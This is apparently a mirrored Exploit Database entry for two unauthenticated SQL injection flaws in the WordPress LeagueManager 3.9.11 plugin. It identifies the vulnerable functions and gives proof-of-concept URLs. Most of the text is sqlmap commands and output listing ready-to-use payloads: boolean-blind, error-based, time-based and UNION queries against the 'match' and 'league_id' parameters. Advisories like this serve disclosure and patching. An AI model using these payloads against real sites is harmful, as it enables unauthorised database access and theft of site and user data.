WordPress Plugin LeagueManager 3.9.11 – SQL Injection

• Exploit Database
• 108 阅读

• 作者： javabudd
  日期： 2015-06-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/37182/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95

  ################################################################################################### # Exploit Title: WordPress LeagueManager SQLi # Version: 3.9.11 # Vendor: https://wordpress.org/plugins/leaguemanager # Software Link: https://downloads.wordpress.org/plugin/leaguemanager.3.9.1.1.zip # Author: javabudd # Date: 06/01/2015 # Tested on: Linux | Windows ###################################################################################################   Vulnerabilities (2) ==========================   (1) Unauthenticated SQLi [CWE-89]   CODE: lib/core.php (785) ++++++++++++++++++++++++++ function getMatch() is passed an unsanitized $match_id parameter to the SQL query ++++++++++++++++++++++++++   POC: http://localhost/?match=1   SQLMap ++++++++++++++++++++++++++ python sqlmap.py --url "http://localhost/?match=1" --level 5 --risk 3 --dbms mysql ++++++++++++++++++++++++++ --- Parameter: match (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: match=1 AND 3991=3991   Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: match=1 AND (SELECT 8344 FROM(SELECT COUNT(*),CONCAT(0x7178717671,(SELECT (ELT(8344=8344,1))),0x717a707a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)   Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: match=1 AND (SELECT * FROM (SELECT(SLEEP(5)))LCcI)   Type: UNION query Title: Generic UNION query (NULL) - 20 columns Payload: match=-9496 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178717671,0x4945496f7a7062675158,0x717a707a71),NULL-- --- [02:18:52] [INFO] the back-end DBMS is MySQL web application technology: PHP 5.5.20, Apache 2.4.10 back-end DBMS: MySQL 5.0   (2) Unauthenticated SQLi [CWE-89]   Code: lib/core.php (486) ++++++++++++++++++++++++++ function getLeague() is passed an unsanitized $league_id parameter from the constructor ++++++++++++++++++++++++++   POC: http://localhost?season=1&league_id=1&match_day=1&team_id=1   SQLMAP ++++++++++++++++++++++++++ python sqlmap.py --url "http://localhost?season=1&league_id=1&match_day=1&team_id=1" --dbms mysql --level 5 --risk 3 -p league_id ++++++++++++++++++++++++++ --- Parameter: league_id (GET) Type: error-based Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) Payload: season=1&league_id=1&apos; AND EXTRACTVALUE(4330,CONCAT(0x5c,0x7178717671,(SELECT (ELT(4330=4330,1))),0x717a707a71)) AND &apos;SOeQ&apos;=&apos;SOeQ&match_day=1&team_id=1   Type: AND/OR time-based blind Title: MySQL <= 5.0.11 AND time-based blind (heavy query) Payload: season=1&league_id=1&apos; AND 9638=BENCHMARK(5000000,MD5(0x54624c4e)) AND &apos;GmZI&apos;=&apos;GmZI&match_day=1&team_id=1 --- [03:31:55] [INFO] the back-end DBMS is MySQL web application technology: PHP 5.5.20, Apache 2.4.10 back-end DBMS: MySQL 5.1